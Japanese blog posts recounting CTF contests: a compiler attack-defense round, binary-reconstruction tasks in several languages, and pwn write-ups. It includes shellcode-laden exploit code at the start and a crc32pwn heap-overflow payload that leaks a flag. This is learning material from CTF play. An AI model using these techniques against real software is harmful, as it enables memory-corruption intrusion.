uouo[5] = 14359732973853474816;
uouo[6] = 14323496304712352199;
uouo[7] = 4666511275965022208;
uouo[8] = 493437115695104;
uouo[9] = 4377717949940563968;
uouo[10] = 219658720378880;
uouo[11] = 84869120;
uouo_addr = toi(uouo) + 16;
peko[0] = uouo_addr;
f = tof(peko[0]);
f(fib_addr);
}

perfect blue

最後(最後の1h?)、かなり真面目なパッチを当ててきて、pwnできなかった(というかまだunsound holeがあるのは分かっていたが時間効率的にやっても仕方ないかと思ってやらなかった)。

何をやっていたかというと - heap領域をちゃんと確保(上述のUAFバグ回避) - 配列の各要素に型タグを追加 - 型チェックの導入

で、特にこの2番目の影響でstack上の連続した領域にシェルコードを貼る方法を雑にやるのが、直ちに分からなかったので、諦めた。 多分international teamの中で一番よくできたパッチだったと思う。

入れた mitigation

上のpwnと並行して、コンパイラのmitigationも行った。とはいってもとても簡単なもの。それでもおそらく数チームの攻撃を防いだと思われる。

  • 定数のロードが /flag.txっぽかったら落とす(カス)
  • 配列外参照しそうになったらexit
  • 関数呼び出しの際に実際にそれが関数の型を持つかを判定

程度。開始段階で、ちゃんとやるなら、上のUAF問題をなんとかしないといけないと思ったので(pbが最終的にやっていたように)開始当初にmmap領域を作って、そこからarrayをallocするようにしようとしていたが、普通に発狂して終了し(コンパイラの構造を雑に理解するのがしんどかった)、ひたすらpwnする方針に切り替えた。正直方針ミスだった(とりあえずpwnする方向で最初からやっていれば)なあとあとから思う。 *4

これ2日目があったら、1日目で圧倒的コンパイラを完成させ2日目でひたすら点数を稼ぐ(&強いコンパイラを頑張ってpwn)みたいなのができたかもしれないので、それはそれで面白かったかもしれない。

KoH Heptarchy (Rev)

1時間ごとに異なる言語で書かれたバイナリが与えられるので、それらをrev *5 して、"できる限り同じバイナリを吐くような" ソースコードを提出しろ!という趣旨の問題。スコアは、提示されたコンパイル環境下で生成されたアセンブリの提示されたバイナリとのdiffの大きさにより計測。KoHで5分に1度評価があり(つまり1バイナリにつき12回評価がある)、diffの小さい順に、1位が20点、2位が18点...。diffの取り方はなんか知らんけど賢い方法でされてるらしい。oracleとして"信じた"ので実際ここもhackできる余地があったのかも。

インラインアセンブリが埋め込めるCなどは、実はアセンブリをべたと貼り付けるといけたのかもしれないが、基本的にはC++とかRustとかDとかはインラインアセンブリがあっても、polymorphismが解決された後それに基づいてexpansionされた実装が出力されてほしいやつとかに対処ができないと思うので、C以外だとその戦略は難しそうだった(Cでもまあまあちゃんと動くようにするの面倒そうで、1時間しか無い & はやく提出しないと大した点にならないことを思うと題意通りにやるのが正解そう)。また、importの仕方や変数の宣言の仕方等も影響するので、"いい感じ"に模倣できたあとは、プログラムを摂動させて、スコアを縮めていった。

言語は全部で6(7?)種類

  • C
  • C++
  • Rust
  • Go
  • Python
  • D
  • C (emccで吐かれたwasm rev)

基本的にやったことは

  1. ほとんど無( fn main(){} のような)を提出して、とりあえずスコアを得る
  2. revをちょっとずつしていってスコアが上がるたびに提出する

というものの繰り返し。難しいのは、GoやDなどは、適切にimportしたライブラリの機械語がバイナリに含まれていないと、diffが大きすぎて(タイムアウトにより)実質的に未提出と同じになる問題。このためGoやDなどは(本当は)それっぽいimportをしてdiffを落として正の点を得られるようにしておくことが大切だったが、あまり上手にはできなかった。

実際のところ最終順位よりもどれだけ長い間、良い順位にいたかが重要だが、まあ分かりやすいので各言語についてdiffと最終順位(discordに貼られていたグラフに基づくので正直嘘かも)を表記する。

あと意外と面白かったので当該の時間帯のChromeの履歴を貼ってみようと思う。

C

  • 最終順位: 7th
  • diff: 912

初手でIDAでデコンパイルして、近づけて終わり。ゲーム性を理解し始める段階で終わってしまった。if文の順序とか、assertを適切にしたつもり *6

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>
#include <limits.h>

// (__int64 a1, __int64 a2, __int64 a3, __int64 a4)
long myers_diff(char *f1, unsigned sa, char *f2, unsigned sb) {
      assert(sa < LONG_MAX/2 && sb < LONG_MAX/2);
    long max = sa + sb;
    if ( (unsigned long long)(sa + sb) > 0x7FFFFFFFFFFFFFELL );
      assert(max < (LONG_MAX/2-1)/sizeof(ssize_t));
    char *calloc_buf = calloc(2 * max + 1, 8uLL);
    long i, j, k;
    long result = 0;
    long v12;
    for ( i = 0LL; ; ++i )
    {
        result = i;
        if ( i > max )
            break;
        for ( j = -i; j <= i; j += 2LL )
        {
            if ( j != -i && (j == i || calloc_buf[max - 1 + j] >= calloc_buf[max +)
                v12 = calloc_buf[max - 1 + j] + 1LL;
            else
                v12 = calloc_buf[max + 1 + j];
            for ( k = v12 - j; v12 < sa && k <= sb && *(char *)(v12 + f1) == *(cha)
                ++v12;
            calloc_buf[max + j] = v12;
            if ( v12 >= sa && k >= sb )
                return i;
        }
    }
    return result;
}

long int get_size(FILE *f) {
    fseek(f, 0LL, 2);
    long int v2 = ftell(f);
    fseek(f, 0LL, 0);
    return v2;
}



int main(int argc, char* argv[]) {
    FILE *f1;
    FILE *f2;
    unsigned sa;
    unsigned sb;
    char *buf1;
    char *buf2;
    if ( argc <= 2 )
    {
        printf("Usage: %s <file1> <file2>\n", *argv);
        return 1;
    }
    f1 = fopen(argv[1], "r");
    if ( !f1 )
    {
        perror(argv[1]);
        return 1;
    }

    f2 = fopen(argv[2], "r");
    if ( !f2 )
    {
        perror(argv[2]);
        fclose(f1);
        return 1;
    }
    sa = get_size(f1);
    sb = get_size(f2);
    buf1 = malloc(sa);
    if ( !buf2 )
    {
        fclose(f2);
        fclose(f1);
        return 1;
    }
    buf2 = malloc(sb);
    if ( fread(buf1, 1uLL, sa, f1) == sa && fread(buf2, 1uLL, sb, f2) == sb )
    {
        long int v4 = myers_diff(buf1, sa, buf2, sb);
        printf("%ld", v4);
    }
    free(buf2);
    free(buf1);
    fclose(f2);
    fclose(f1);
    return 0;
}

検索履歴

C++

これもとりあえずIDAにブチ込むと、当社比比較的読みやすいC++が現れたので、メソッド名等からclassが使われていることなどを類推して書いた。C++よくわからんけど、とりあえずautoって書いておけばなんか型があったので助かった。これのせいでむしろ合わなくなっているところもあったのかも。

  • 最終順位: 5th
  • diff: 3844
#include <iostream>
#include <string>
#include <iomanip>
#include <vector>

using namespace std;
class RC4 {
    vector <unsigned char> v;
    public:
    RC4(string key) {
        int i;
        int j;
        v.resize(256);
        for (i = 0; i <= 255; i ++) {
            v[i] = i;
        }
        for ( j = 0; j <= 255; ++j ) {
            auto v3 = v[j];
            auto v9 = v3 + key[j % 4];
            auto v5 = v.at(v9);
            auto v6 = v.at(j);
            swap(v5, v6);
        }

    }
    char * encrypt(string text) {
        //return new string;
        auto v2 = text.size();
        auto v8 = new char[v2];
        unsigned long long v10;
        unsigned long long v11;
        v11 = 0;
        v10 = 0;
        int i;
        for (i = 0; i < text.size(); i++ ) {
            v10 += v[++v11];
            auto v3 = v.at(v11);
            auto v4 = v.at(v10);
            swap(v4, v3);
            //char v5 = v[v11];
            //char v6 = v[v10];
            //v3  = v[(unsigned long long)(v5 + v6)];
            v8[i] = text[i] ^ v3;
        }
        return v8;
    }
};
int main(void) {
    string key;
    string text;
    char *result;
    int i;

    cout << "Key: ";
    cin >> key;
    cout << "Plaintext: ";
    cin >> text;
    auto rc4 = RC4(key);
    cout << "Ciphertext: ";
    cout << hex << std::setfill ('0');

    result = rc4.encrypt(text);

    for ( i = 0; i < text.size() ; ++i )
    {
        cout << setw(2);
        cout << result[i];
    }
    cout << endl;
    //if (result)
    delete result;
    return 0;
}

検索履歴

Rust

  • 最終順位: 5th
  • diff: 22048

普段Rust使ってる身としてはもっと上手にいけると思っていたら全然うまくいかず涙を流していた。rem_euclidという関数を初めて知りました。

use std::io;
use std::io::BufRead;
use std::io::Write;

fn get_player_hand(a1: i32) -> i8 {
    print!("Player {} Hand [Rock/Paper/Scissors]: ", a1);
    let mut buffer = String::new();
    io::stdout().flush().unwrap();
    let stdin = io::stdin();
    stdin.read_line(&mut buffer).expect("I/O error");
    let buffer = buffer.trim();
    let buffer = buffer.to_lowercase();
    if buffer == "rock" {
        0
    } else if buffer == "paper" {
        1
    } else if buffer == "scissors" {
        2
    } else {
        panic!("Invalid hand")
    }
}

fn main() {
    let hand1 = get_player_hand(1);
    let hand2 = get_player_hand(2);
    let sub = (hand2 - hand1).rem_euclid(3);
    let s =
    if sub == 0 {
        "Draw!"
    } else {
        match sub {
            1 => "Player 1 wins!",
            2 => "Player 2 wins!",
            _ => unreachable!(),
        }
        //if sub == 1 {
        //    "Player 1 wins!"
        //} else if sub == 2{
        //    "Player 2 wins!"
        //} else {
        //    panic!();
        //}
    };
    println!("{}", s);
}

検索履歴

Go

  • 最終順位: 4th
  • diff: 576

これとても悔しい。というのもfmtをimportしてprintlnするまでライブラリパートがバイナリに含まれていないことによるdiffが大きすぎるために点数が入っていなかったことに気づいておらず30分くらい経過してから初めて点が入ったので。 shrinker/expanderの復元から始めたが、明らかに先にmainを復元するべきだったし、そもそも実行するのがおそすぎてヒントがあることに気づいたのが結構後だった。 revはちゃんと実行してから解析しようね。 *7

ところでquitに渡している値がなんなのかはよく分からなかった。

package main

import ("fmt")

var (
    main_counter int
)

func shrinker(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 == 0 {
                elem /= 2
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}
func expander(c chan int, quit chan int) {
        for {
            elem := <- c
            if elem == 1 {
                break
            }
            if elem & 1 != 0 {
                elem =  3 * elem + 1
                main_counter += 1
            }
            c <- elem
        }
        quit <- 0
}

func main() {
    var a int
    fmt.Print("Number: ")
    fmt.Scan(&a)
    if a <= 0 {
        fmt.Println("Invalid number")
    } else {

         fmt.Println("[DEBUG] quit := make(chan int)")
        quit := make(chan int)
        fmt.Println("[DEBUG] c := make(chan int)")
        c := make(chan int)
        fmt.Println("[DEBUG] go shrinker(c, quit)")
        go shrinker(c, quit)
         fmt.Println("[DEBUG] go expander(c, quit)")
        go expander(c, quit)
        c <- a
        <- quit
        fmt.Println(main_counter)
    }
}

検索履歴

Python

  • 最終順位: 5th
  • diff: 392

Python 3.12とかいう新しいバージョンのPythonなので、uncompyle6をインストールした時間が無駄になる。事前にコンパイラが配布されているのでちゃんと中身を確認しておけばよかった。 decompileができないので仕方なくdisをして読む。難読化されているわけでもないのでまあ読める。

実装は基本的には、RSA暗号風の暗号化と復号をするプログラム。後から思うと range(k)のkってなんやねんとなっていたが、そこは読めていなかった(isPrimeは2引数関数だった)。

#!/usr/local/bin/python

import random

def isPrime(n=10):
    if n == 2 or n == 3:
        return True

    if n & 1 == 0:
        return False
    s = n -1
    r = 0

    while s & 1 == 0:
        s  >>= 1
        r += 1
    for _ in range(k):
        a = random.randrange(2, n - 1)
        x = pow(a, s, n)
        if x == 1:
            continue
        if n - x == 1:
            for _ in range(r - 1):
                x = x * x % n
                if n - x == 1:
                    break
            else:
                return False
    return True



def getPrime(bits):
    while True:
        p = random.randrange(1 << bits, 1 << (bits + 1))
        if isPrime(p):
            return p

if __name__ == '__main__':
    p = getPrime(256)
    q = getPrime(256)
    r = getPrime(256)
    n = p * q * r
    e = 65537
    m = int.from_bytes(input("Text: ").encode(),"big")
    if m > n:
        print("Too long")
        exit(1)
    c = pow(m, e, n)
    print(f'Cipher: {hex(c)}')

    phi = (p - 1) * (q -1) * (r  -1)
    d = pow(e, -1, phi)
    mm = pow(c, d, n)
    assert(m == mm)

検索履歴

D

  • 最終順位: 1th
  • diff: 1188

これが結果的に一番うまくいった。 開始当初は、Dとか書いたことないしできるわけなくて草と思っていたが、みんな馴れてないらしく、普通に提出が全チーム遅かった気がする。 この問題も適切にimportしないと大きなdiffが出てしまうタイプの問題だったので、importガチャに成功したのも良かったかも。

IDAで開くと結構分かりやすいバイナリだった。write -> readln -> stripをしていそうな様子や、check_passwordの結果に基づいてwritelnをしている様子がわかる。 またcheck_passwordも、シグネチャから、equalというある種のadhoc多相がなされた関数が利用されていそうな様子や、lambda式(特にこれは、closureとして一度確保したものを利用している。直接s.map!の引数に渡すとやや生成されるコードが変わる)が使われていそうな様子、各入力文字に対してxorして比較する様子などが意外と分かりやすい。

最後若干のdiffをうめたいと思ったが、謎ptrace(デバッグ検知でよくある感じのやつが)mainの先頭に置いてあり、これをどうやって出しているのかで試行錯誤して一番diffが小さいものを提出した *8

import std.stdio;
import std.string;
import std.algorithm;
import std.algorithm.comparison : equal;

extern (C) int ptrace(int x, int y, int z, int w);
extern (C) int exit(int x);


bool check_password(string arg) {
    auto s = arg.dup;
    auto f = (dchar x)  => x ^ 0x77;

    auto v4 = s.map!(f);

    auto v5 = [58, 22, 28, 18, 87, 51, 90, 27, 22, 25, 16, 87, 48, 5, 18, 22, 3, 87, 54, 1;
    return equal(v4, v5);
}


void main(){
    if (ptrace(0, 0, 1, 0)) {
        return;
    }
    write("Password: ");
    auto s=readln;
    auto v6 = strip(s);
    if (check_password(v6)) {
        writeln("Correct!");
    } else {
        writeln("Wrong...");
    }
}

検索履歴

一番検索した

C(wasm)

  • 最終順位: 6th
  • diff: 7734

これは無理すぎ?wと言って諦めた *9

諦めたと言ってもなんかそれっぽいものだけ提出した

#include <stdio.h>


static unsigned __internal_bruteforce(unsigned x, unsigned y, unsigned z) {
    if (x > y) {
        return z;
    }
    return y;
}
static unsigned bruteforce(unsigned x, unsigned y) {
    if (x > y) {
        return y;
    }
    return x;
}
static unsigned oracle(unsigned x) {
    for (int i = 0; i < x; i++) {
        return bruteforce (x, x);
    }
}

int __original_main() {
        puts("[+] Computing...");
    int r = __internal_bruteforce(1044, 1, 3);
    printf("Hit: %d\n", r);
    puts("[+] Done");
    return 0;

}

int main(void) {
    return __original_main();
}

検索履歴

CTFerじゃないからwasm2cの使い方毎回ググってる

Jeopardy

え、なんで一問も解けていないんですか?こまった。。。

babyescapeをやっていた(& diagemuをやっていた)が、Kernelオブジェクトを上手に扱うことができず最終的に大量のKernel panicを見るだけになってしまった。悲しい。

正直後から考えると色々正気じゃないパートがあり、sanity check失敗と話題に。

ログ

かわいそう。

履歴はいっぱいあるけど(面倒で全部あげないけど)最後にchatGPTに聞こうとするところだけ面白い

感想

コンテスト全体の満足度が高かった。問題はよく練られていたと思うし、ネットワークも安定しており、インフラも基本的に安定していた。 あと、昼ごはんの謎弁当がおいしかった。 このレベルのコンテストを維持するのは大変だと思うのですが、来年以降も楽しみにしています。

*1:Jeorpadyで分からせられてしまった

*2:ここでいうバグとは、memory corruptionを起こすようなプログラムを吐いてしまうというバグ

*3:他にもwhile文の中で変数を確保すると、stack pointerが適切に移動しなくなるなどのバグがあるらしい

*4:ちなみに、ガチのカスパッチとして、クソデカ定数が来たら落とすというのを実装していたら、テストケースででかい数字を扱うプログラムが有り点数を逆に失った

*5:どうでもよいが、大会後国内大会で優勝したチーム_(-.- _) )_のkeymoonさんが、「st98さんがずっとこの問題をやっていたから、Webだと思っていた」といってたのがちょっとすきだった

*6:と書いていたら、明らかに無駄なif文を見つけてしまい、お気持ちに

*7:どうでもいいが、mikitさんにgolangのバイナリ出たわ〜って離したら、「え、じゃあgoroutineとかかな!」って大声でいうから、おいおい静かにってなっていた。

*8:実は単にinline assemblyを書いているだけだったらしい

*9:隣のhxpに後で効いても無理すぎ?wつってたし多分無理すぎだと思ってるけど普通に解いている人間がちらほらおるんだよな

CakeCTF、ありがとう

CakeCTF 2022 開催、ありがとう

たのしかったです。ありがとうございました。良質で面白い問題ばかり星5つです。

思ったことを羅列するエントリです。

crc32pwn writeup

この問題、非常に綺麗に解けたので、writeup書きます。なのでこのエントリはwriteupです。

問題設定

引数からファイル名の列を受け取って各ファイルのcrc32を計算してくれるバイナリ

pwn@88ce787fe93d:~$ crc32sum /etc/passwd /etc/hostname
/etc/passwd: fda42dee
/etc/hostname: 0a5ac61d

問題環境はシェルが提供されており、permission上crc32sumを用いればflagが読めるようになっている。

問題のCファイルはここにあるのでどうぞ。

github.com

libcは2.31。フラグの長さは53バイト。

方針

内部実装として、 fstat をして st_size を読んで、mallocでその分のサイズのバッファを生成し、そこにファイルの中身を読み出す、となっていて、例えば 名前付きFIFOなどの特殊ファイルは、st_size が0になるので、ここでヒープバッファオーバーフローが起こる。

このバイナリでは、ファイル名を保存するバッファとファイルの中身を保存するバッファの2つを作るので、以下のようなヒープのレイアウトになるように、バッファの名前とファイルの中身を適切な長さを調整する。

┌────────────┐
│   A: 0x20  │
├────────────┤
│   B: 0x20  │
├────────────┤
│            │
│   C: 0x40  │
│            │
├────────────┤
│            │
│   D: 0x40  │
│            │
└────────────┘

残る手順は、

  1. 上の状態を自然に作ると、tcache(0x20)がA->B, 0x40がC -> Dのようになる。ここでfifoをファイルとして与えると malloc(0) が走りこれは0x20のバッファだと思われるので、fifoのファイル名も0x20くらいの長さで与えていると、Bのバッファをオーバーフローできる。
  2. ここで、Cのバッファの大きさを0x20に詐称しつつ、Cのtcacheのリンク先をDからAに変える。
  3. 一度flag.txtを確保すると、tcacheが、[0x20] -> A かつ[0x40] -> Aになる
  4. もう一度flag.txtを読み込むと、フラグの名前がAに書き込まれた後さらに、Aに中身が書き込まれ、ファイル名表示のタイミングで中身が表示される

ペイロード

echo "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" \
  > /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

mkfifo /tmp/hoge

crc32sum \
  /////////////////////////////////////////////////////////////////////////////////////////etc/passwd \  #ヒープの調整
  /tmp/hoge \  # A -> Bの生成
  /tmp/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA \ # C -> Dの生成
  /tmp/hoge \   # ヒープオーバーフローで[0x40] -> C -> Aにする(以下のAAAA...AQ | base64 -d の結果が来る) 
  flag.txt \    # Cを剥がし、[0x20] -> A, [0x40] -> Aの状態にする
  flag.txt &  # flag.txtを読ませると、Aにflag.txtを読ませた後、Aにさらにflag.txtの中身を書き込むので、ファイル名の表示でリークできる

echo A > /tmp/hoge
echo AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAoQAAAAAAAAAQ | base64 -d > /tmp/hoge

感想

2時間ほどで解くことができて、1st bloodだった*1。賞品が得られるらしく、楽しみ *2

謎メタ読みで、ptr-yudaiの作問だから、ゴリゴリヒープをしなくても解けるようになっていると信じていた人のログ *3

信じるものは救われた

Advanced Player?

ここからその他感想です。

参加しようと思ったら、

This year we have reduced the difficulty level and the number of challenges a little more than in previous years. Advanced players are encouraged to participate solo or in teams with a couple of people.

らしくて、まあ歴は長いしこれに該当するのかもしれないなと思ったが、

  • pwn以外マジで知らん
  • 個人だとモチベが続かない気がする
  • (日曜参加できないので、中途半端に終わりそう)
  • (そもそもadvanced playerではない🙅)

などの理由で、普通に TSG として参加した。

これはちょっとカスで、若いTSGerが解くべき比較的簡単めなpwnの問題も自分が奪い取ってしまうという点があるんですよね、ごめんなさい。

ソロプレイヤーがつよい

順位表を見ると、TSGのすぐ下の3位に superflip(kusano_kさん)をはじめとして、ソロプレイヤーたちが並んでいる

(まあ典型よりとはいえ)多様なジャンルの問題を一人でポンポン解いていける人間、かなり尊敬している... 真のCTFプレイヤーです。

分業制

TSGの人間かなり、binaryを見る人間、cryptoをやる人間、webを見る人間が分かれていがちで(まあこおしいずさんとかは3ジャンルどれも見れたりするだろうが)、特に僕はcrypto、webについて何も分からないので、他のジャンルの問題が残っていると、ぺちぺちたたいたり

ラクルとして人間を利用したり、

令呪を使ったりしている *4

実際CTF参加、チャットしながらわいわいしているのが本質で、これがなくソロでひたすら問題を解くの本当にかなり偉いなという感情が強いんですよね。僕は、CTFプレイヤーではないです。*5

kosenctfxで遊ぶ

上述の理由でCTF中に暇になったので、CakeCTFのスコアサーバーで使われている、kosenctfxについて調べてみました!

これは、 TSGのチーム詳細ページ なんですが、なぜか解いた時刻順に問題が並んでいません。どうしてなのでしょうか?

このCTFは、theoremoonさん謹製、kosenctfxでスコアサーバーがホストされているらしいです。

github.com

みんなでstarボタンを押して開発を応援しよう!

ところで、ソースコードを読んでみると、このページは、kosenctfx/[id].tsx at d2c9c0244031843533f56e8b81eb0382b52ad9c7 · theoremoon/kosenctfx · GitHubにあるファイルにあるようにlodashを用いてクライアント側でソートされているらしいです

            {orderBy(
              Object.entries(teamScore.taskStats).map(([key, taskStat]) => ({
                taskname: key,
                ...taskStat,
              })),
              ["solved_at"],
              ["desc"]
            ).map((task) => (
              <tr key={task.taskname}>
                <td>{task.taskname}</td>
                <td>{task.points}</td>
                <td>{dateFormat(task.time)}</td>
              </tr>
            ))}

よく見てみると、下のコードでは、 task.time を参照しているのに、lodashのorderByには solved_at が渡されているようです。これのせいみたいですね?

いかがでしたでしょうか? ここで終わってもよいのですが、せっかくのCakeCTFをもっと完璧にしたい。自分の環境だけでも完全にすることはできないのでしょうか? そこで、こおしいずさんにどうすればよいか聞いたところ、Google ChromeOverrides という機能を用いると直接スクリプトをいじってパッチすることができるらしいです。勉強になります。Overridesを設定して、

リロードしてみると、、、

ちゃんと時間順になりました、嬉しい!

kosenctfxの開発を陰ながら応援しています。

CTFをしていない

CTF、最近していなくて、まあこれはある意味で意図的なところもあったんですが *6、これだけやらないとさすがにやりたくなる。

Cake CTFくらいの問題を気分良く解くのが体に良いので、健康のためにも来年も開催してください。お願いします。

*1:のを自慢するためにこのブログを書きました

*2:実は30分間くらい、フラグの長さを59文字だと勘違いしていてバグらせていて溶かしておりめちゃくちゃ焦った

*3:実は若干非想定だったらしい? https://twitter.com/pwnyaa/status/1566299698901950465

*4:ちなみに、この問題はLLLではなかったらしい?ので「実現不可能な奇跡」を令呪に使ってしまった。でも解かれたのでオーケーです

*5:ところで後から冷静になって見てみるとちょっと冷めた感情になりますね

*6:DEF CON CTF finalsはスクリプトキディばかりしていて、CTFをしなかったんですよね

SECCON 2021で作問し、運営中ボードゲームをしました。

SECCON 2021で作問し、運営中ボードゲームをしました。楽しかったです。

作問

seccon_tree

Pythonのrefcountに関連したPwnの問題。オタクはすぐ言語処理系関連の問題を作ってしまう。

writeupはhackmdにあります

hackmd.io

dis-me

Pythonのパッカーっぽい問題。っぽいってだけ。 当初は、再帰的に自身を参照するcode objectみたいなのを作ったりしたかったが、これは、marshalが許さなかった(pycで保存できなかった)。残念。 妥協を重ねた結果このような感じに。

writeupはhackmdにあります

hackmd.io

運営中ボードゲーム

BGAに登録して、CTFer各位と遊びました。その他お絵かき系ゲームをいくつかやりました。

感想

楽しかったです。各位とdiscordでわいわいできて十分良かったんですが、来年はオンサイトイベントが開催できると、良いな...

SECCON、僕は楽しいところしかやってない感じなんですが、事務的なところやインフラ周りなど様々な人々の尽力がありギリギリの感じで存在できているみたいな感じだと思っているので、お疲れさまですと最後に言いたいです。

SECCON併設RTACTFで、pwnerとして走りました🏃

走りました。

gyazo.com

動画はここから見れます。

youtu.be

コンテストサイトは(生きていれば):RTACTF 2021

noalloca 156.23 sec

int main() {
  unsigned size;
  char buf[0x80];

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);
  if (size > 0x80) {
    puts("*** buffer overflow ***");
    return 1;
  }

  /* Input data */
  printf("data: ");
  readn(buf, size-1);

  return 0;
}

結論としては、size=0のときinteger overflowなんですが、初手人力fuzzerをしているときに+を入れたらバグったのでそのまま走りきりました(後から考えると、意味不明な行動)。比較的素早く解けました。

alloca 275.46 sec

int main() {
  int size;
  char *buf;

  /* Input size */
  printf("size: ");
  scanf("%d%*c", &size);

  /* Input data */
  printf("data: ");
  buf = alloca(size);
  readn(buf, size);

  return 0;
}

一見するとバグが無くねと思って焦りましたが、allocaは負の方向のmitigationはないらしい、そうなんだ。ドキドキしました。-1を入れて、バッファ・オーバーフローすると良いです。

constalloca 673.13 sec

void readn(char *ptr, int size) {
  /* Read data up to `size` bytes into `ptr` */
  for (int i = 0; i != size; i++, ptr++) {
    read(0, ptr, 1);
    if (*ptr == '\n') break;
  }
  *ptr = '\0'; // terminate by null
}

int main() {
  char title[0x18];
  char *content = alloca(0x80);

  /* Input title */
  printf("title: ");
  readn(title, 0x18);

  /* Input content */
  printf("data: ");
  readn(content, 0x80);

  return 0;
}

これはマジで焦りました。まず、main見るとバグがないので。 まあバグがないということは、ということでreadnをおもむろに見ると、readnにoff by one errorがあります。readnは心理的に無視しがちなので怖いですね。

次に、off-by-oneで書き込めるのは0なので、もうこういうことやろwみたいな感じで適当にソルバーを書きます

youtu.be

動画でいうとこの当たりで、シェル取れるスクリプトを書いていたんですね(言い訳)。

ところで、pwn-noobなので、ここでガチャ要素が生まれるということに気づかず(もうこれで解けるように"仕組まれているはず"と思って)動かないので焦ります。HELP

色々ガチャガチャやった結果、やっぱ最初ので良かったんじゃねとなり、そうこうしているとローカルでシェルが取れたので、なんかガチャ要素あるんだっけ〜と思いながら適当にremoteで3回神頼みをしたらフラグが取れたので、良かったということにしました。

speedrunならではのドキドキですね。

https://gist.github.com/moratorium08/d271aae775f978821bd076d0ff7148f1

感想

CTFは普通24時間とか48時間とか潤沢な時間があり、あんまり"時間に焦る"ということは経験しないので(といいつつ、ギリギリになるとやる気が出る問題により結構タイムアタックすることもありますが)、speedrunは競技としてだいぶ違うなとなります。腰を据えてできるかどうかは割とでかい。普通のCTFで解けない問題は能力的に解けないみたいな感じになると思っているんですが、speedrunでは能力的に解けるというだけではダメなので。

この気持ちは、数学の期末試験とか、大学入試的なドキドキですかね。うっかり、誤った方向に掘っていってしまうと終わるのとケアレスミスで時間が潰れるドキドキ感

TSG LIVEでは割と冷やしてきた経験があるのですが、今回はめちゃくちゃな冷えにはならなかったのは良かったなと思います..